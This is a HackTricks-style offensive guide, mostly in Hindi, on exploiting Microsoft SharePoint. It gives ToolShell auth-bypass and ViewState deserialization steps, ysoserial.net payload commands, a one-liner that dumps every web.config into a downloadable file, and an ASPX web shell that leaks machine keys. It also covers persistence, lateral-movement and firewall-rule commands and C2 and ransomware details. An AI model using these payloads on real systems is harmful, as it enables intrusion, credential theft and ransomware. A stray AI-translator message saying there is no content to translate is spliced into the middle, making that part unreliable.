Microsoft SharePoint – Pentesting & Exploitation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Microsoft SharePoint (on-premises) ASP.NET/IIS के ऊपर बनाया गया है। इसलिए अधिकांश क्लासिक वेब attack surface (ViewState, Web.Config, web shells, आदि) मौजूद हैं, लेकिन SharePoint सैकड़ों मालिकाना ASPX पृष्ठों और web services के साथ आता है जो exposed attack surface को नाटकीय रूप से बढ़ा देते हैं। यह पृष्ठ SharePoint environments के भीतर enumerate, exploit और persist करने के व्यावहारिक ट्रिक्स इकट्ठा करता है, विशेष रूप से Unit42 द्वारा प्रकट 2025 exploit chain (CVE-2025-49704/49706/53770/53771) पर ज़ोर के साथ।

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> पेज में arbitrary Server-Side Include code इंजेक्ट करने की अनुमति देता है, जिसे बाद में ASP.NET द्वारा कंपाइल किया जाता है। एक attacker C# एम्बेड कर सकता है जो Process.Start() चलाता है और एक malicious ViewState डाल सकता है।

2.2 CVE-2025-49706 – Improper Authentication Bypass

वही पेज साइट कॉन्टेक्स्ट निर्धारित करने के लिए X-Forms_BaseUrl header पर भरोसा करता है। इसे /_layouts/15/ की ओर पॉइंट करके, root साइट पर लागू MFA/SSO को unauthenticated तरीके से बाइपास किया जा सकता है।

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

एक बार जब attacker ToolPane.aspx में किसी gadget को नियंत्रित कर लेता है, तो वे unsigned (या MAC-only) __VIEWSTATE मान पोस्ट कर सकते हैं जो w3wp.exe के अंदर .NET deserialization को ट्रिगर करता है और code execution तक ले जाता है।

यदि signing सक्षम है, तो किसी भी web.config से ValidationKey/DecryptionKey चुरा कर (देखें 2.4) payload को ysoserial.net या ysodom से फोर्ज करें:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

कस्टम Source पैरामीटर को ToolPane.aspx पर भेजने (उदा. ../../../../web.config) से लक्षित फ़ाइल लौटती है, allowing leakage of:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ forge ViewState / ASPXAUTH cookies
  • connection strings & secrets.

2.5 ToolShell workflow observed in Ink Dragon intrusions

Check Point ने मैप किया कि Ink Dragon ने Microsoft द्वारा fixes जारी करने से महीनों पहले कैसे ToolShell chain को operationalised किया:

  • Header spoofing for auth bypass – हैकर /_layouts/15/ToolPane.aspx पर Referer: https://<victim>/_layouts/15/ और एक नकली X-Forms_BaseUrl के साथ POST भेजता है। ये हेडर SharePoint को यह विश्वास दिलाते हैं कि अनुरोध एक trusted layout से आ रहा है और front-door authentication को पूरी तरह बायपास कर देते हैं (CVE-2025-49706/CVE-2025-53771).
  • Serialized gadget in the same request – बॉडी में attacker-controlled ViewState/ToolPart डेटा शामिल होता है जो vulnerable server-side formatter तक पहुँचता है (CVE-2025-49704/CVE-2025-53770). पेलोड सामान्यतः एक ysoserial.net chain होती है जो w3wp.exe के अंदर बिना डिस्क को छुए चलती है।
  • Internet-scale scanning – July 2025 की telemetry दिखाती है कि वे प्रत्येक पहुँच योग्य /_layouts/15/ToolPane.aspx endpoint को enumerate कर रहे थे और leaked <machineKey> pairs की एक dictionary replay कर रहे थे। कोई भी साइट जिसने documentation से sample validationKey कॉपी किया है, वह compromised हो सकती है भले ही वह अन्यथा पूरी तरह patched हो (signing workflow के लिए ViewState page देखें)।
  • Immediate staging – सफल exploit एक loader या PowerShell stager छोड़ता है जो: (1) हर web.config को dump करता है, (2) contingency access के लिए एक ASPX webshell लगाता है, और (3) IIS worker से बाहर निकलने के लिए लोकल Potato privesc शेड्यूल करता है।

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

परिणामी debug_dev.js को गुमनाम रूप से डाउनलोड किया जा सकता है और इसमें all संवेदनशील कॉन्फ़िगरेशन शामिल हैं।

3.2 Base64-encoded ASPX web shell (variation-2) को तैनात करें

powershell.exe -EncodedCommand <base64>

डिकोड किया गया payload का उदाहरण (संक्षेपित):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

I don’t see any content to translate. Please paste the markdown/text from src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md (or the portion you want translated), and I will translate the relevant English to Hindi while keeping tags, links, code and specified paths unchanged.

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.

3.3 Obfuscated variant (variation-3)

Same shell but:

  • dropped under ...\15\TEMPLATE\LAYOUTS\
  • variable names reduced to single letters
  • Thread.Sleep(<ms>) added for sandbox-evasion & timing-based AV bypass.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)

Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain after initial RCE to deploy a dual-channel C2 implant and ransomware in SharePoint environments:

AK47C2 – dnsclient variant

  • Hard-coded DNS server: 10.7.66.10 communicating with authoritative domain update.updatemicfosoft.com.
  • Messages are JSON objects XOR-encrypted with the static key VHBD@H, hex-encoded and embedded as sub-domain labels.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Long queries are chunked and prefixed with s, then re-assembled server-side.
  • Server replies in TXT records carrying the same XOR/hex scheme:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Version 202504 introduced a simplified format <COMMAND>::<SESSION_KEY> and chunk markers 1, 2, a.

AK47C2 – httpclient variant

  • Re-uses the exact JSON & XOR routine but sends the hex blob in the HTTP POST body via libcurl (CURLOPT_POSTFIELDS, etc.).
  • Same task/result workflow allowing:
  • Arbitrary shell command execution.
  • Dynamic sleep interval and kill-switch instructions.

X2ANYLOCK ransomware

  • 64-bit C++ payload loaded through DLL side-loading (see below).
  • Employs AES-CBC for file data + RSA-2048 to wrap the AES key, then appends the extension .x2anylock.
  • Recursively encrypts local drives and discovered SMB shares; skips system paths.
  • Drops clear-text note How to decrypt my data.txt embedding a static Tox ID for negotiations.
  • Contains an internal kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. Attacker writes dllhijacked.dll/My7zdllhijacked.dll next to a legitimate 7z.exe.
  2. SharePoint-spawned w3wp.exe launches 7z.exe, which loads the malicious DLL because of Windows search order, invoking the ransomware entrypoint in memory.
  3. A separate LockBit loader observed (bbb.msiclink_x86.execlink_dll_x86.dll) decrypts shell-code and performs DLL hollowing into d3dl1.dll to run LockBit 3.0.

[!INFO] The same static Tox ID found in X2ANYLOCK appears in leaked LockBit databases, suggesting affiliate overlap.

3.5 Turning SharePoint loot into lateral movement

  • Decrypt every protected section – once seated on the web tier, abuse aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri (or -px "appSettings") to dump the clear-text secrets hiding behind <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials this way.
  • Recycle app-pool accounts across farms – many enterprises reuse the same domain account for IIS APPPOOL\SharePoint on every front-end. After decrypting identity impersonate="..." blocks or reading ApplicationHost.config, test the credential over SMB/RDP/WinRM to every sibling server. In multiple incidents the account was also a local administrator, allowing psexec, sc create, or scheduled-task staging without triggering password sprays.
  • Abuse leaked <machineKey> values internally – even if the internet perimeter gets patched, reusing the same validationKey/decryptionKey allows lateral ViewState exploitation between internal SharePoint zones that trust each other.

3.6 Persistence patterns witnessed in 2025 intrusions

  • Scheduled tasks – a one-shot task named SYSCHECK (or other health-themed names) is created with /ru SYSTEM /sc once /st <hh:mm> to bootstrap the next-stage loader (commonly a renamed conhost.exe). Because it is run-once, telemetry often misses it unless historic task XML is preserved.
  • Masqueraded services – services such as WindowsTempUpdate, WaaSMaintainer, or MicrosoftTelemetryHost are installed via sc create pointing at the sideloading triad directory. The binaries keep their original AMD/Realtek/NVIDIA signatures but are renamed to match Windows components; comparing the on-disk name with the OriginalFileName PE field is a quick integrity check.

3.7 Host firewall downgrades for relay traffic

Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

क्योंकि यह नियम लोकली बनाया गया है (GPO के माध्यम से नहीं) और वैध Defender binary को program= के रूप में उपयोग करता है, इसलिए अधिकांश SOC baselines इसे अनदेखा कर देते हैं, फिर भी यह Any ➜ Any egress खोलता है।


संबंधित तरकीबें

  • IIS post-exploitation & web.config abuse:

IIS - Internet Information Services

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें